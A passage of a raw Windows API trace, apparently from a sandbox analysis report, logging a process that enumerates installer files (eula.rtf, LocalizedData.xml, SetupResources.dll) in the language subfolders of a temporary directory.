ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.013] FindNextFileW (in: hFindFile=0x10cf30, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.013] FindClose (in: hFindFile=0x10cf30 | out: hFindFile=0x10cf30) returned 1 [0047.013] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.013] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1037", cAlternateFileName="")) returned 1 [0047.013] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10d070 [0047.013] FindNextFileW (in: hFindFile=0x10d070, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.013] FindNextFileW (in: hFindFile=0x10d070, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.013] FindNextFileW (in: hFindFile=0x10d070, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.013] FindNextFileW (in: hFindFile=0x10d070, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.013] FindNextFileW (in: hFindFile=0x10d070, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.013] FindClose (in: hFindFile=0x10d070 | out: hFindFile=0x10d070) returned 1 [0047.013] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.013] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1038", cAlternateFileName="")) returned 1 [0047.013] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10ce70 [0047.014] FindNextFileW (in: hFindFile=0x10ce70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.014] FindNextFileW (in: hFindFile=0x10ce70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.014] FindNextFileW (in: hFindFile=0x10ce70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.014] FindNextFileW (in: hFindFile=0x10ce70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.014] FindNextFileW (in: hFindFile=0x10ce70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.014] FindClose (in: hFindFile=0x10ce70 | out: hFindFile=0x10ce70) returned 1 [0047.014] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.014] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1040", cAlternateFileName="")) returned 1 [0047.014] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10d0f0 [0047.014] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.014] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.014] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.014] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.014] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.015] FindClose (in: hFindFile=0x10d0f0 | out: hFindFile=0x10d0f0) returned 1 [0047.015] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.015] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1041", cAlternateFileName="")) returned 1 [0047.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cef0 [0047.015] FindNextFileW (in: hFindFile=0x10cef0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.015] FindNextFileW (in: hFindFile=0x10cef0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.015] FindNextFileW (in: hFindFile=0x10cef0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.015] FindNextFileW (in: hFindFile=0x10cef0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.015] FindNextFileW (in: hFindFile=0x10cef0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.015] FindClose (in: hFindFile=0x10cef0 | out: hFindFile=0x10cef0) returned 1 [0047.015] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.015] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1042", cAlternateFileName="")) returned 1 [0047.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10d0f0 [0047.015] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.015] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.016] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.016] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.016] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.016] FindClose (in: hFindFile=0x10d0f0 | out: hFindFile=0x10d0f0) returned 1 [0047.016] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.016] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1043", cAlternateFileName="")) returned 1 [0047.016] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cc70 [0047.016] FindNextFileW (in: hFindFile=0x10cc70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.016] FindNextFileW (in: hFindFile=0x10cc70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.016] FindNextFileW (in: hFindFile=0x10cc70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.016] FindNextFileW (in: hFindFile=0x10cc70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.016] FindNextFileW (in: hFindFile=0x10cc70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.016] FindClose (in: hFindFile=0x10cc70 | out: hFindFile=0x10cc70) returned 1 [0047.017] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.017] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, 